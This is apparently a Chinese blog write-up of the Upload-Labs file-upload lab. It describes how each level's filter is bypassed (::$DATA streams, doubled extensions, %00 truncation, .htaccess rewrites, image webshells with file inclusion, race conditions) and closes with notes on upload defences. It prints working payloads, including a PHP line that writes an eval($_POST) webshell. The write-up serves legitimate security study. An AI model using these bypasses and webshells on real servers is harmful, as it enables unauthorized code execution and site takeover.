很久之前的文件上传Upload-Lab实验记录,权当凑数。
参考文章
图片马的检测与绕过
https://www.jianshu.com/p/744001fd0738
http://www.nowamagic.net/librarys/veda/detail/1618
文件上传绕过总览
https://www.cnblogs.com/linuxsec/articles/12152431.html
pass-01
在console里找到前端验证代码,在burp里把后缀名改回来就好。
pass-02
验证虽然转移到了后端,但是规则却变得简单,只验证content-type,所以直接上传个php然后再burp里把content-type改成白名单里面的类型就好。
pass-03
过滤规则,php的函数需要去查一查,这里用到的是windows+php的一个特性。
当把文件命名为xxx.yyy::$DATAzzz
时,windows会把::DATA
之后的部分当作文件的数据流,于是文件名被保存为xxx.yyy
。
虽然这里有对::$DATA
的过滤,但是可以被双写绕过。
pass-04
::$DATA
https://blog.0kami.cn/2018/04/15/hitb-xctf-2018-portion-web-writeup/
一开始本来是想::$DATA
绕过的,比如filename=shell.php::$DATApng
,检查时识别出的扩展名是.phppng
,php存储文件时会把文件命名为shell.php::$DATApng
,然后由于windows+php的特性,::$DATApng
会被丢弃。
但是没有实践成功,这里出现的问题是::$DATA
之后添加字符会报错,要么像下面这样被解析为后面的文件名。
.htaccess
https://www.jianshu.com/p/c674904a711e
上传.htaccess文件修改文件的解析规则
1.设置将文件名为shell的文件按php来解析
<FilesMatch "shell">
SetHandler application/x-httpd-php Set</FilesMatch>
2.将jpg文件按照php来解析
AddType application/x-httpd-php .jpg
3.htaccess自解析(未成功,没有htaccess的访问权限)
pass-05
依然双写绕过
pass-06
还能双写::$DATA
绕过?!
确实还可以
pass-07
基本上ban掉了所有可以解析的后缀名,但是相对于之前的关卡,没有处理末尾的.
,而php会自动忽略末尾的.
pass-08
因为这里又是随机重命名,然后后缀名取得是处理后的字符串,所以又可以回到::$DATA绕过。
pass-09
存储的文件名是上传名去.
过后的,但是验证还要过滤掉一个空格,又结合前面忽略最后的.
构造payload。(向大佬低头,没想出来)
filename="shell08.php. ."
pass-10
过滤php等关键字,由xss的思路,双写绕过。
filename="shell10.phphpp"
pass-11
虽然我也想到了%00字符截断,但是没有想起来%00会自动转码,而直接在burp里改hex会导致服务器报错。
pass-12
承接pass-11,由于这里save_path是POST过去的,所以需要在burp里面改hex。
pass-13
先上传个图片马上去,因为只会检查文件的前两个字节,所以把前两个字节改成相应文件的格式头就好。
下一步是利用文件包含漏洞,利用upload-labs/include.php来解析刚刚上传的图片马。
虽然刚刚上传的xxx.jpg是个”图片“,但是通过include.php的文件包含include 来解析时会按照php来解析。
[准确来说是按照服务器当前脚本语言来解析,文件包含机制是为了更好地支持代码重用]
虽然文件的内容并不是以<?php开头,但是php会默认丢弃不规范的内容,从<?php开始解析。
于是有payload=/upload-labs/include.php?file=./upload/5120200717095119.jpg
如果php开启了allow_url_include还可以直接在url中用php伪协议直接包含刚刚上传的图片马。
pass-14
cmd>copy image.png/b + shell.php/a shell.png
传是传上去了,也绕过了检测,但是文件包含之后不能解析,老是报错。
破案:大概是图片有点儿大,里面有些神奇字符破坏了php的解析。重新做一个小一点儿图片马就过了。
pass-15
继续用pass-14的图片马,记得现在服务器的PHPstudy里把ph_exif开关打开。
依然不能解析利用。[解决方法同上]
pass-16
二次渲染
pass-17
直接上传shell.php改后缀名,然后文件包含。
pass-18
条件竞争
需要注意的是文件上传之后先以原文件名存储,然后再基于时间随机命名。
在存储之后到重命名之前,刚刚上传的文件是可以被我们主动访问到的(只要我们访问的时间足够巧)。
那么就在这个图片里写个马儿,用这个马儿生成另外一个马儿供长期访问(不被重命名)。
写个python不断请求include.php去解析上传的图片希望能够生成马儿,因为时机稍纵即逝,所以上传图片这边也需要用Burp不断重发(手动还是自动intruder视环境而定)。一旦include.php解析图片成功,那么就可以访问生成的马儿了。
<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>');?>
other
利用临时文件。
https://www.cnblogs.com/linuxsec/articles/11278477.html
虽然temp临时文件会在程序结束之后被删除,但是谁说程序总能正常结束呢?
使用文件包含功能不断地自我包含会导致php异常退出来处理错误,于是没有去删除临时文件,可以通过暴力猜测文件名访问到文件。
课后作业:安全文件上传
这里通过两种手段尝试实现文件上传过程中的防御。
白名单+随机重命名
文件的存储路径已经通过预定义的方式被系统控制,然后通过随机重命名控制文件的名称,最后基于白名单严格控制文件的扩展名。
在没有文件包含或者.htaccess解析漏洞的前提下,文件上传是安全的。
重采样+头部元数据检测
在存在文件包含或者.htaccess解析漏洞时,第一个方法可以被图片马绕过。
图片马攻击成功的本质是图片二进制数据包含php语句且该图片以php格式被解析,由于预设已经存在解析漏洞,那么只能在php语句检测上想办法。
利用php-GD扩展的imageCopyResampled()通过像素插值算法修改图片元数据,可以破坏php语句。但是这还不够,因为图片数据中往往存在一部分辅助数据不受重采样的影响,而php语句可以被注入到这些辅助数据块中免于被破环。
于是,可以通过检测辅助数据块的方式检测其中的php语句。辅助数据快往往存在于文件流的头部且长度较小,虽然从格式标准而言辅助数据块可以很长,但是一般情况下是较短的,如果被恶意构造得很长,可以武断地判为恶意图片。
1 |
|